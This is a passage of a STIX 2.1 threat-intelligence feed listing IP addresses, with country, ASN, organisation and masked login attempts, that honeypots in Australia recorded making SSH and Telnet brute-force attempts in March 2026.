    {
      "created": "2026-03-16T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--fe8a1835-c6c9-4f6c-9aa8-0ccc776a3b8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.36.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T09:15:13.000Z",
      "valid_until": "2026-04-17T09:15:11.000Z"
    },
    {
      "created": "2026-03-16T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--96dfa10a-031c-4167-a012-2f96e500650c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.50.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T09:15:13.000Z",
      "valid_until": "2026-04-17T09:15:11.000Z"
    },
    {
      "created": "2026-03-16T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 29518. Organisation(s): Bredband2 AB.",
      "id": "indicator--f3d50e43-f003-491f-abfb-4db2e7027005",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.236.108.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T09:15:13.000Z",
      "valid_until": "2026-04-17T09:15:11.000Z"
    },
    {
      "created": "2026-03-16T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a9f0690b-8adc-4535-83ce-ac65aa08b1fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.217.68.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T10:15:13.000Z",
      "valid_until": "2026-04-17T10:15:12.000Z"
    },
    {
      "created": "2026-03-16T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--26d7dabd-1276-4629-861c-7d103d78a7a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.245.143.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T10:15:13.000Z",
      "valid_until": "2026-04-17T10:15:12.000Z"
    },
    {
      "created": "2026-03-16T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited. Usernames observed (masked): *. Passwords observed (masked): *.",
      "id": "indicator--0475db6b-5f3e-4d66-93e4-2051653f6cbf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.157.20.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T10:15:13.000Z",
      "valid_until": "2026-04-17T10:15:12.000Z"
    },
    {
      "created": "2026-03-16T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--1851b2a7-26f2-4634-9c06-458279029d25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.165.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T10:15:13.000Z",
      "valid_until": "2026-04-17T10:15:12.000Z"
    },
    {
      "created": "2026-03-16T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--798b727c-980b-44e8-9994-b155dd62109f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.175.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T10:15:13.000Z",
      "valid_until": "2026-04-17T10:15:12.000Z"
    },
    {
      "created": "2026-03-16T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): **, A*******************p, G************1, U*************************************************************************************************************************6. Passwords observed (masked): , **, A**********, H**********************3.",
      "id": "indicator--0d9dbf91-7679-4834-9486-fd5cf765e5ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.196.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T10:15:13.000Z",
      "valid_until": "2026-04-17T10:15:12.000Z"
    },
    {
      "created": "2026-03-16T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--27b3cdef-ed06-4893-aa9b-5dffb24ca936",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.14.7.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T10:15:13.000Z",
      "valid_until": "2026-04-17T10:15:12.000Z"
    },
    {
      "created": "2026-03-16T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--e5ea510e-6f2a-4f34-b0fd-261b6178edee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '35.187.42.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T10:15:13.000Z",
      "valid_until": "2026-04-17T10:15:12.000Z"
    },
    {
      "created": "2026-03-16T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 149. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 215925. Organisation(s): Vpsvault.host Ltd. Usernames observed (masked): r**t, a***n, a***********r, 1**4, A***N. Passwords observed (masked): 1**4, 1***5, A******!, c******e, p******d.",
      "id": "indicator--ba26a27e-f67c-4940-adba-c5db37a7a096",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.205.1.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T10:15:13.000Z",
      "valid_until": "2026-04-17T10:15:12.000Z"
    },
    {
      "created": "2026-03-16T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--df17f8d6-8125-438a-a451-1462a2fbc4fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.1.107.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T11:15:14.000Z",
      "valid_until": "2026-04-17T11:15:11.000Z"
    },
    {
      "created": "2026-03-16T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--91b64893-e979-45c6-ad6c-ffa2a13c69c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.46.40.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T11:15:14.000Z",
      "valid_until": "2026-04-17T11:15:11.000Z"
    },
    {
      "created": "2026-03-16T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): **. Passwords observed (masked): r*******y, r**********************1.",
      "id": "indicator--dbf2b256-ee2d-423d-959b-7c0a2e7b6a50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.78.78.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T11:15:14.000Z",
      "valid_until": "2026-04-17T11:15:11.000Z"
    },
    {
      "created": "2026-03-16T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--ee2bd100-7a52-4b6c-ae02-e3b9774c0e21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.149.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T11:15:14.000Z",
      "valid_until": "2026-04-17T11:15:11.000Z"
    },
    {
      "created": "2026-03-16T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited.",
      "id": "indicator--d2898ff1-32a3-4336-ac30-1f9851c357d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.193.183.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T11:15:14.000Z",
      "valid_until": "2026-04-17T11:15:11.000Z"
    },
    {
      "created": "2026-03-16T12:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--aa73fdc4-aa60-4c95-9c5a-a0a4d342cb11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.148.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T12:15:14.000Z",
      "valid_until": "2026-04-17T12:15:11.000Z"
    },
    {
      "created": "2026-03-16T12:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--2229f3ee-5a11-45fb-8178-345aeb88ee2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.103.187.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T12:15:14.000Z",
      "valid_until": "2026-04-17T12:15:11.000Z"
    },
    {
      "created": "2026-03-16T12:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 2519. Organisation(s): ARTERIA Networks Corporation.",
      "id": "indicator--6fd1ccdd-e613-44b9-a9a9-13c989c279f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.147.131.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T12:15:14.000Z",
      "valid_until": "2026-04-17T12:15:11.000Z"
    },
    {
      "created": "2026-03-16T13:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--52c61467-1d1c-43fe-8fa6-26ca8c2856f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.61.113.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T13:15:13.000Z",
      "valid_until": "2026-04-17T13:15:11.000Z"
    },
    {
      "created": "2026-03-16T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 96. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, o****e, p******s, t***1, t***2. Passwords observed (masked): 1****1, ***, ***, o****e, p**s.",
      "id": "indicator--deff8532-f350-4eba-b380-4b765863a8be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.122.103.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T13:15:13.000Z",
      "valid_until": "2026-04-17T13:15:11.000Z"
    },
    {
      "created": "2026-03-16T13:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 13370. Organisation(s): Ziply Fiber.",
      "id": "indicator--0dd60151-801d-46a2-8043-4f8044ac5d25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '136.143.144.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T13:15:13.000Z",
      "valid_until": "2026-04-17T13:15:11.000Z"
    },
    {
      "created": "2026-03-16T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, **. Passwords observed (masked): !***t, 1******x, q**********6, r*******y, r*****#.",
      "id": "indicator--a7aed8ed-ec15-4405-8c91-2dbdecf23f66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.245.66.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T13:15:13.000Z",
      "valid_until": "2026-04-17T13:15:11.000Z"
    },
    {
      "created": "2026-03-16T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--1861f74f-9487-46e3-b18d-99e2440cb955",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.236.228.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T13:15:13.000Z",
      "valid_until": "2026-04-17T13:15:11.000Z"
    },
    {
      "created": "2026-03-16T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 104. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***, 1**4, 1***5.",
      "id": "indicator--71ec12d7-3478-4f8c-83d1-10fb41a9dd3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.166.90.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T13:15:13.000Z",
      "valid_until": "2026-04-17T13:15:11.000Z"
    },
    {
      "created": "2026-03-16T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--fc1f5ba3-055f-4d9a-8802-0be541ea22cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '40.124.174.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T13:15:13.000Z",
      "valid_until": "2026-04-17T13:15:11.000Z"
    },
    {
      "created": "2026-03-16T13:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--51c7737d-b2ad-4aea-a620-60eb9e523918",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.125.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T13:15:13.000Z",
      "valid_until": "2026-04-17T13:15:11.000Z"
    },
    {
      "created": "2026-03-16T13:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--07191b7f-f173-4f64-ae77-e7180943c0ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.167.169.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T13:15:13.000Z",
      "valid_until": "2026-04-17T13:15:11.000Z"
    },
    {
      "created": "2026-03-16T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 70. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1**4, 1***5, 1****6, 1******8, 1*******9.",
      "id": "indicator--bf7cfdba-1849-420e-ad41-5ce42107e1d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.183.35.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T13:15:13.000Z",
      "valid_until": "2026-04-17T13:15:11.000Z"
    },
    {
      "created": "2026-03-16T14:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--bbbe8adc-43d5-46a4-8eda-4bc15542e111",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '105.186.238.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T14:15:14.000Z",
      "valid_until": "2026-04-17T14:15:12.000Z"
    },
    {
      "created": "2026-03-16T14:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--42001512-84f9-4497-a4f4-2ec324b83445",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T14:15:14.000Z",
      "valid_until": "2026-04-17T14:15:12.000Z"
    },
    {
      "created": "2026-03-16T14:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--148cd144-e1ba-4a2b-b2e2-97d685a4a2f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T14:15:14.000Z",
      "valid_until": "2026-04-17T14:15:12.000Z"
    },
    {
      "created": "2026-03-16T14:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****e, 1*******y, **, ***, 4**1.",
      "id": "indicator--b17d5fb8-34b5-4cbd-82f6-301cbc6591dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.189.124.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T14:15:14.000Z",
      "valid_until": "2026-04-17T14:15:12.000Z"
    },
    {
      "created": "2026-03-16T14:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, 1****3, 1**4, 1***5, 1****6.",
      "id": "indicator--07691f1a-1767-43e6-a269-b707c1de14de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.189.94.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T14:15:14.000Z",
      "valid_until": "2026-04-17T14:15:12.000Z"
    },
    {
      "created": "2026-03-16T14:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--fd71afff-6fd6-438f-a766-1a36085ec3dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '88.244.231.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
